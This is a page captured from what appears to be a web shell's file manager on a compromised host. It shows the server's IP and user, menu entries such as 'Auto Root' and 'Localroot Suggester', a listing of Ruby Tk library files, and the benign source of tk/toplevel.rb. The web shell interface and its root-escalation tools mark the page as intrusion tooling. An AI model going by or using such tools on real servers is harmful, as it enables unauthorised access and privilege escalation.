Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.217.130
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby23 /
lib64 /
ruby /
2.3.0 /
tk /
Delete
Unzip
Name
Size
Permission
Date
Action
after.rb
161
B
-rw-r--r--
2023-07-26 18:09
autoload.rb
22.79
KB
-rw-r--r--
2023-07-26 18:09
bgerror.rb
698
B
-rw-r--r--
2023-07-26 18:09
bindtag.rb
2.7
KB
-rw-r--r--
2023-07-26 18:09
busy.rb
2.25
KB
-rw-r--r--
2023-07-26 18:09
button.rb
800
B
-rw-r--r--
2023-07-26 18:09
canvas.rb
22.85
KB
-rw-r--r--
2023-07-26 18:09
canvastag.rb
9.22
KB
-rw-r--r--
2023-07-26 18:09
checkbutton.rb
1.01
KB
-rw-r--r--
2023-07-26 18:09
clipboard.rb
1.67
KB
-rw-r--r--
2023-07-26 18:09
clock.rb
1.63
KB
-rw-r--r--
2023-07-26 18:09
composite.rb
11.9
KB
-rw-r--r--
2023-07-26 18:09
console.rb
1.3
KB
-rw-r--r--
2023-07-26 18:09
dialog.rb
8.93
KB
-rw-r--r--
2023-07-26 18:09
encodedstr.rb
4.58
KB
-rw-r--r--
2023-07-26 18:09
entry.rb
2.61
KB
-rw-r--r--
2023-07-26 18:09
event.rb
17.53
KB
-rw-r--r--
2023-07-26 18:09
font.rb
60.35
KB
-rw-r--r--
2023-07-26 18:09
fontchooser.rb
3.62
KB
-rw-r--r--
2023-07-26 18:09
frame.rb
3.48
KB
-rw-r--r--
2023-07-26 18:09
grid.rb
7.72
KB
-rw-r--r--
2023-07-26 18:09
image.rb
12.57
KB
-rw-r--r--
2023-07-26 18:09
itemconfig.rb
55.11
KB
-rw-r--r--
2023-07-26 18:09
itemfont.rb
9.32
KB
-rw-r--r--
2023-07-26 18:09
kinput.rb
1.59
KB
-rw-r--r--
2023-07-26 18:09
label.rb
640
B
-rw-r--r--
2023-07-26 18:09
labelframe.rb
1.02
KB
-rw-r--r--
2023-07-26 18:09
listbox.rb
7.85
KB
-rw-r--r--
2023-07-26 18:09
macpkg.rb
1.94
KB
-rw-r--r--
2023-07-26 18:09
menu.rb
20.07
KB
-rw-r--r--
2023-07-26 18:09
menubar.rb
4.11
KB
-rw-r--r--
2023-07-26 18:09
menuspec.rb
13.78
KB
-rw-r--r--
2023-07-26 18:09
message.rb
724
B
-rw-r--r--
2023-07-26 18:09
mngfocus.rb
703
B
-rw-r--r--
2023-07-26 18:09
msgcat.rb
8.49
KB
-rw-r--r--
2023-07-26 18:09
namespace.rb
14.38
KB
-rw-r--r--
2023-07-26 18:09
optiondb.rb
11.11
KB
-rw-r--r--
2023-07-26 18:09
optionobj.rb
4.9
KB
-rw-r--r--
2023-07-26 18:09
pack.rb
2.54
KB
-rw-r--r--
2023-07-26 18:09
package.rb
2.83
KB
-rw-r--r--
2023-07-26 18:09
palette.rb
1.16
KB
-rw-r--r--
2023-07-26 18:09
panedwindow.rb
7.79
KB
-rw-r--r--
2023-07-26 18:09
place.rb
3.89
KB
-rw-r--r--
2023-07-26 18:09
radiobutton.rb
2.01
KB
-rw-r--r--
2023-07-26 18:09
root.rb
2.07
KB
-rw-r--r--
2023-07-26 18:09
scale.rb
2.79
KB
-rw-r--r--
2023-07-26 18:09
scrollable.rb
1.77
KB
-rw-r--r--
2023-07-26 18:09
scrollbar.rb
4.69
KB
-rw-r--r--
2023-07-26 18:09
scrollbox.rb
1.16
KB
-rw-r--r--
2023-07-26 18:09
selection.rb
2.22
KB
-rw-r--r--
2023-07-26 18:09
spinbox.rb
3.07
KB
-rw-r--r--
2023-07-26 18:09
tagfont.rb
890
B
-rw-r--r--
2023-07-26 18:09
text.rb
45.67
KB
-rw-r--r--
2023-07-26 18:09
textimage.rb
2.25
KB
-rw-r--r--
2023-07-26 18:09
textmark.rb
4.94
KB
-rw-r--r--
2023-07-26 18:09
texttag.rb
7.79
KB
-rw-r--r--
2023-07-26 18:09
textwindow.rb
4.29
KB
-rw-r--r--
2023-07-26 18:09
timer.rb
14.41
KB
-rw-r--r--
2023-07-26 18:09
tk_mac.rb
3.71
KB
-rw-r--r--
2023-07-26 18:09
toplevel.rb
7.01
KB
-rw-r--r--
2023-07-26 18:09
ttk_selector.rb
3.01
KB
-rw-r--r--
2023-07-26 18:09
txtwin_abst.rb
816
B
-rw-r--r--
2023-07-26 18:09
validation.rb
9.64
KB
-rw-r--r--
2023-07-26 18:09
variable.rb
45.82
KB
-rw-r--r--
2023-07-26 18:09
virtevent.rb
3.54
KB
-rw-r--r--
2023-07-26 18:09
winfo.rb
8.39
KB
-rw-r--r--
2023-07-26 18:09
winpkg.rb
3.9
KB
-rw-r--r--
2023-07-26 18:09
wm.rb
14.87
KB
-rw-r--r--
2023-07-26 18:09
xim.rb
2.77
KB
-rw-r--r--
2023-07-26 18:09
Save
Rename
# frozen_string_literal: false # # tk/toplevel.rb : treat toplevel widget # require 'tk' require 'tk/wm' require 'tk/menuspec' class Tk::Toplevel<TkWindow include Wm include TkMenuSpec TkCommandNames = ['toplevel'.freeze].freeze WidgetClassName = 'Toplevel'.freeze WidgetClassNames[WidgetClassName] ||= self ################# old version # def initialize(parent=nil, screen=nil, classname=nil, keys=nil) # if screen.kind_of? Hash # keys = screen.dup # else # @screen = screen # end # @classname = classname # if keys.kind_of? Hash # keys = keys.dup # @classname = keys.delete('classname') if keys.key?('classname') # @colormap = keys.delete('colormap') if keys.key?('colormap') # @container = keys.delete('container') if keys.key?('container') # @screen = keys.delete('screen') if keys.key?('screen') # @use = keys.delete('use') if keys.key?('use') # @visual = keys.delete('visual') if keys.key?('visual') # end # super(parent, keys) # end # # def create_self # s = [] # s << "-class" << @classname if @classname # s << "-colormap" << @colormap if @colormap # s << "-container" << @container if @container # s << "-screen" << @screen if @screen # s << "-use" << @use if @use # s << "-visual" << @visual if @visual # tk_call 'toplevel', @path, *s # end ################# def __boolval_optkeys super() << 'container' end private :__boolval_optkeys def __strval_optkeys super() << 'screen' end private :__strval_optkeys def __val2ruby_optkeys # { key=>proc, ... } super().update('menu'=>proc{|v| window(v)}) end private :__val2ruby_optkeys def __methodcall_optkeys # { key=>method, ... } TOPLEVEL_METHODCALL_OPTKEYS end private :__methodcall_optkeys def _wm_command_option_chk(keys) keys = {} unless keys new_keys = {} wm_cmds = {} conf_methods = _symbolkey2str(__methodcall_optkeys()) keys.each{|k,v| # k is a String if conf_methods.key?(k) wm_cmds[conf_methods[k]] = v elsif Wm.method_defined?(k) case k when 'screen','class','colormap','container','use','visual' new_keys[k] = v else case self.method(k).arity when -1,1 wm_cmds[k] = v else new_keys[k] = v end end else new_keys[k] = v end } [new_keys, wm_cmds] end private :_wm_command_option_chk def initialize(parent=nil, screen=nil, classname=nil, keys=nil) my_class_name = nil if self.class < WidgetClassNames[WidgetClassName] my_class_name = self.class.name my_class_name = nil if my_class_name == '' end if parent.kind_of? Hash keys = _symbolkey2str(parent) if keys.key?('classname') keys['class'] = keys.delete('classname') end @classname = keys['class'] @colormap = keys['colormap'] @container = keys['container'] @screen = keys['screen'] @use = keys['use'] @visual = keys['visual'] if !@classname && my_class_name keys['class'] = @classname = my_class_name end if @classname.kind_of? TkBindTag @db_class = @classname keys['class'] = @classname = @classname.id elsif @classname @db_class = TkDatabaseClass.new(@classname) keys['class'] = @classname else @db_class = self.class @classname = @db_class::WidgetClassName end keys, cmds = _wm_command_option_chk(keys) super(keys) cmds.each{|k,v| if v.kind_of? Array self.__send__(k,*v) else self.__send__(k,v) end } return end if screen.kind_of? Hash keys = screen else @screen = screen if classname.kind_of? Hash keys = classname else @classname = classname end end if keys.kind_of? Hash keys = _symbolkey2str(keys) if keys.key?('classname') keys['class'] = keys.delete('classname') end @classname = keys['class'] unless @classname @colormap = keys['colormap'] @container = keys['container'] @screen = keys['screen'] unless @screen @use = keys['use'] @visual = keys['visual'] else keys = {} end if !@classname && my_class_name keys['class'] = @classname = my_class_name end if @classname.kind_of? TkBindTag @db_class = @classname keys['class'] = @classname = @classname.id elsif @classname @db_class = TkDatabaseClass.new(@classname) keys['class'] = @classname else @db_class = self.class @classname = @db_class::WidgetClassName end keys, cmds = _wm_command_option_chk(keys) super(parent, keys) cmds.each{|k,v| if v.kind_of? Array self.send(k,*v) else self.send(k,v) end } end #def create_self(keys) # if keys and keys != None # tk_call_without_enc('toplevel', @path, *hash_kv(keys, true)) # else # tk_call_without_enc('toplevel', @path) # end #end #private :create_self def specific_class @classname end def add_menu(menu_info, tearoff=false, opts=nil) # See tk/menuspec.rb for menu_info. # opts is a hash of default configs for all of cascade menus. # Configs of menu_info can override it. if tearoff.kind_of?(Hash) opts = tearoff tearoff = false end _create_menubutton(self, menu_info, tearoff, opts) end def add_menubar(menu_spec, tearoff=false, opts=nil) # See tk/menuspec.rb for menu_spec. # opts is a hash of default configs for all of cascade menus. # Configs of menu_spec can override it. menu_spec.each{|info| add_menu(info, tearoff, opts)} self.menu end def self.database_class if self == WidgetClassNames[WidgetClassName] || self.name == '' self else TkDatabaseClass.new(self.name) end end def self.database_classname self.database_class.name end def self.bind(*args, &b) if self == WidgetClassNames[WidgetClassName] || self.name == '' super(*args, &b) else TkDatabaseClass.new(self.name).bind(*args, &b) end end def self.bind_append(*args, &b) if self == WidgetClassNames[WidgetClassName] || self.name == '' super(*args, &b) else TkDatabaseClass.new(self.name).bind_append(*args, &b) end end def self.bind_remove(*args) if self == WidgetClassNames[WidgetClassName] || self.name == '' super(*args) else TkDatabaseClass.new(self.name).bind_remove(*args) end end def self.bindinfo(*args) if self == WidgetClassNames[WidgetClassName] || self.name == '' super(*args) else TkDatabaseClass.new(self.name).bindinfo(*args) end end end #TkToplevel = Tk::Toplevel unless Object.const_defined? :TkToplevel #Tk.__set_toplevel_aliases__(:Tk, Tk::Toplevel, :TkToplevel) Tk.__set_loaded_toplevel_aliases__('tk/toplevel.rb', :Tk, Tk::Toplevel, :TkToplevel)